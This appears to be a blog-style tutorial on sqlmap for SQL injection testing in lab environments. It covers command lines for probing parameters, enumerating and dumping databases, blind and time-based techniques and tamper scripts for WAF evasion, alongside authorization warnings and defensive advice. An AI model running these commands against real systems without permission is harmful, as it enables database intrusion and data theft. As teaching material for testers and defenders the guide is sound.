sqlmap Basics with a Defensive Mindset

Preamble

sqlmap automates SQL injection probing—payload generation, database fingerprinting, data extraction when vulnerabilities exist. It belongs only on systems you own or have written permission to test. I use it in lab environments (DVWA, intentionally vulnerable containers) to learn what attackers automate so I can review code with those patterns in mind.

SQL injection in one pass

SQL injection means user-controlled data ends up inside a SQL string the database executes, instead of being passed as bound parameters. Classic signs include syntax errors in responses, different page content when you add quotes or boolean fragments, or timing that stretches when you inject SLEEP-style constructs.

In-band techniques return data or errors in the HTTP response. Blind techniques do not: you infer success from boolean differences (two requests differ in length or a stable substring) or from elapsed time. sqlmap tries a catalog of techniques (UNION, error-based, boolean blind, time-based) unless you narrow them with flags.

sqlmap: common invocations (lab)

Below, TARGET is a placeholder URL on a lab app. Output is illustrative—your traces will differ by DBMS, WAF, and parameter shape.

Baseline: test a GET parameter

sqlmap -u "http://lab.local/vuln.php?id=1" --batch

--batch picks default answers so runs are non-interactive. sqlmap may report something like:

[14:22:01] [INFO] testing connection to the target URL
[14:22:02] [INFO] testing if GET parameter 'id' is dynamic
[14:22:03] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[14:22:05] [INFO] testing for SQL injection on GET parameter 'id'
[14:22:12] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (heavy query)'

Depth and aggressiveness: --level and --risk

Higher level adds more injection points and boundary tests; higher risk includes heavier or destructive payloads (updates, OS-related modules in some builds). In labs you might use:

sqlmap -u "http://lab.local/vuln.php?id=1" --level=3 --risk=2 --batch

Use the lowest level and risk that still answers your question in a real engagement; document why you raised them.

POST body and content type

sqlmap -u "http://lab.local/login.php" --data="user=admin&pass=test" --batch

For JSON:

sqlmap -u "http://lab.local/api/search" \
  --data='{"q":"test"}' \
  -H "Content-Type: application/json" \
  --batch

Cookies and headers

sqlmap -u "http://lab.local/app" --cookie="session=abc123" --batch
sqlmap -u "http://lab.local/app" -p User-Agent --batch

-p limits testing to named parameters when you want a focused run.

Fingerprinting and enumeration (authorized scope only)

After confirming injection, sqlmap can list databases, tables, and columns. Only when your rules of engagement explicitly allow it:

sqlmap -u "http://lab.local/vuln.php?id=1" --dbs --batch

Example-style snippet:

[14:25:01] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] dvwa

sqlmap -u "http://lab.local/vuln.php?id=1" -D dvwa --tables --batch
sqlmap -u "http://lab.local/vuln.php?id=1" -D dvwa -T users --columns --batch

--dump exports row data; treat it like credential exposure in reports and handle artifacts under your engagement’s data-handling policy.

Choosing techniques explicitly

sqlmap’s --technique letters restrict which classes it tries (e.g. B boolean blind, T time-based, U union, E error-based). Example: only boolean and time-based blind:

sqlmap -u "http://lab.local/vuln.php?id=1" --technique=BT --batch

Useful when you already know UNION is blocked or errors are suppressed and you want faster, targeted runs.

Request files and tampering

Save a raw request from Burp or your browser with * marking the injection point:

GET /vuln.php?id=1* HTTP/1.1
Host: lab.local

Then:

sqlmap -r request.txt --batch

--tamper scripts mutate payloads for WAF evasion in lab; on real tests, prefer understanding why a control fires over piling on obscure encodings.

When the UI does not change: blind and time-based SQLi

Many applications catch database errors, return a generic page, or use routing that hides stack traces. The query may still be injectable. Two common families:

Boolean-based blind. The application always returns HTTP 200 and the same template, but the body (or a header length) differs when the injected condition is true vs false—for example AND 1=1 vs AND 1=2. sqlmap compares responses automatically; you can help it with stable anchors:

sqlmap -u "http://lab.local/vuln.php?id=1" \
  --technique=B \
  --string="Welcome" \
  --batch

--string marks text that should appear when the expression is “true”; --not-string or --regexp are alternatives when the false branch is easier to characterize.

Time-based blind. If boolean differences are too subtle (minification, caching, identical lengths), delay-based inference still works: the backend executes something like SLEEP(5) or a heavy predicate only when your injected condition holds. sqlmap issues pairs of requests and measures latency:

sqlmap -u "http://lab.local/vuln.php?id=1" \
  --technique=T \
  --time-sec=5 \
  --batch

--time-sec sets the expected delay; tune it so noise from network jitter does not drown the signal. Second-order injection (payload stored, executed later) and out-of-band channels (DNS/HTTP callbacks when enabled and supported) are other paths when the immediate response is mute—sqlmap has modes for some of these; always match them to scope and safety.

From a defensive read: if an app “looks fine” after a single quote but still concatenates input server-side, blind and timing tests are exactly what automation and patient attackers apply next—so parameterized APIs and least privilege still matter even when error pages are pretty.

Learning angle

Run sqlmap against a known-bad endpoint and watch how tactics change with database dialect, error messages, and blind conditions. Map outcomes to parameterized queries, ORM misuse, and dynamic table names—where developers accidentally concatenate user input into SQL strings.

Defensive priorities

Prepared statements and bound parameters are the baseline. Least-privilege database users limit blast radius when mistakes slip through. Input validation helps, but it is not a substitute for correct query construction. Uniform responses and suppressed errors reduce information leakage to casual testers but do not remove injection risk; they push attackers toward blind and time-based methods—detect those with monitoring (query latency, anomalous request patterns) and secure design, not UI polish alone.

Responsible use

Document scope in pen-test agreements; never aim sqlmap at third parties “just to see.” The legal line is real; the engineering lesson is rigor, not thrill-seeking.

Conclusion

Offensive tooling literacy improves defensive design and code review. Nmap: Scan Types You Actually Use in Labs continues the security track with Nmap on authorized lab networks.